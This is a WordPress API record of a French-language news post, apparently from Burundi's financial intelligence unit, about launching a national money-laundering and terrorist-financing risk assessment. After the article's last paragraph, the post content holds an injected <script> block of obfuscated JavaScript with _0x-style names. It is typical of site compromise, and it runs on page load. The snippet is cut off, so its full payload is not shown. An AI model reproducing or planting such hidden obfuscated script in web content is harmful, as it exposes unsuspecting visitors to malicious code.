{"id":814,"date":"2024-01-17T08:32:22","date_gmt":"2024-01-17T07:32:22","guid":{"rendered":"https:\/\/cnrf.gov.bi\/?p=814"},"modified":"2024-01-17T08:40:39","modified_gmt":"2024-01-17T07:40:39","slug":"lancement-officiel-des-activites-de-levaluation-nationale-des-risques-enr","status":"publish","type":"post","link":"https:\/\/cnrf.gov.bi\/index.php\/2024\/01\/17\/lancement-officiel-des-activites-de-levaluation-nationale-des-risques-enr\/","title":{"rendered":"Lancement officiel des activit\u00e9s de l\u2019\u00e9valuation nationale des risques (ENR)"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">En date du 11 janvier 2024 \u00e0 l\u2019H\u00f4tel KINGS CONFERENCE CENTRE, la Cellule Nationale du Renseignement Financier a organis\u00e9 un atelier d\u2019ouverture pour le lancement officiel des activit\u00e9s de l\u2019Evaluation&nbsp; Nationale des Risques, ENR en sigle. Dans son&nbsp;mot d\u2019ouverture, le Coordinateur G\u00e9n\u00e9ral de l\u2019ENR, Monsieur <strong>Juv\u00e9nal KWIZERA<\/strong>, a remerci\u00e9 vivement tous les membres qui ont pu participer \u00e0 cet atelier, il a en outre soulign\u00e9 que cet exercice est nouveau au Burundi, qu\u2019il requiert imp\u00e9rativement du temps, des sources humaines et financi\u00e8res sans oublier des comp\u00e9tences particuli\u00e8res pour l\u2019accomplissement de cette noble mission.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Au cours de cette activit\u00e9, deux modules sur la LBC\/FT et le r\u00e9gime de sanctions ont \u00e9t\u00e9 expos\u00e9es respectivement l\u2019un par le Coordinateur G\u00e9n\u00e9ral de l\u2019ENR et l\u2019autre par l\u2019Assistant du coordinateur G\u00e9n\u00e9ral de l\u2019ENR Monsieur <strong>Vincent NIBIGIRA<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Apres avoir montr\u00e9 aux participants les cons\u00e9quences n\u00e9fastes de l\u2019absence d\u2019un cadre l\u00e9gal r\u00e8glementant la LBC\/FT, le Coordinateur G\u00e9n\u00e9ral est revenu sur l\u2019importance capitale de faire cette \u00e9valuation car, disait-il,&nbsp; \u030b<em>NTAWUVURA ICO ATAPIMYE KUKO YOTANGA UMUTI MUKE NTUKORE YATANGA MWINSHI NAHO UGAHENDA CANKE UKICA\u00a0\u00bb<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u2019Evaluation Nationale des Risques est un exercice national d\u2019auto \u00e9valuation sur les risques et la vuln\u00e9rabilit\u00e9 nationale face \u00e0 la menace de la criminalit\u00e9 financi\u00e8re et du terrorisme.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u2019ENR est indispensable aussi bien au niveau national qu\u2019international&nbsp;:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Au niveau national, elle est une \u00e9tape incontournable, \u00e0 la mise en \u0153uvre effective de la politique nationale de la Lutte Contre le Blanchiment de Capitaux et du Financement du Terrorisme puisque c\u2019est elle qui montre la cartographie nationale des risques li\u00e9s au Blanchiment de Capitaux et le Financement du Terrorisme.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Au niveau International, l\u2019ENR est une exigence incontournable en mati\u00e8re de LBC\/FT. Elle est la 1<sup>ere <\/sup>des 40 recommandations du GAFI et la 1<sup>ere <\/sup>des 8 recommandations de la Mission de Haut Niveau, MHN en sigle, effectu\u00e9e au Burundi au mois de mars 2023 dans le cadre de processus de l\u2019adh\u00e9sion effective du pays au Groupe de LBC\/FT de L\u2019Afrique Orientale et Australe &lt;&lt;ESAAMLG&gt;&gt;.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Dans son&nbsp;mot d\u2019ouverture, le<\/p>\n","protected":false},"author":2,"featured_media":815,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[63],"tags":[58,59,60],"class_list":["post-814","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-evaluation-nationale-des-risques","tag-burundi","tag-cnrf","tag-lbc"],"jetpack_featured_media_url":"https:\/\/cnrf.gov.bi\/wp-content\/uploads\/2024\/01\/WhatsApp-Image-2024-01-15-at-15.25.50.jpeg","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts\/814","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/comments?post=814"}],"version-history":[{"count":4,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts\/814\/revisions"}],"predecessor-version":[{"id":821,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/posts\/814\/revisions\/821"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/media\/815"}],"wp:attachment":[{"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/media?parent=814"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/categories?post=814"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnrf.gov.bi\/index.php\/wp-json\/wp\/v2\/tags?post=814"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}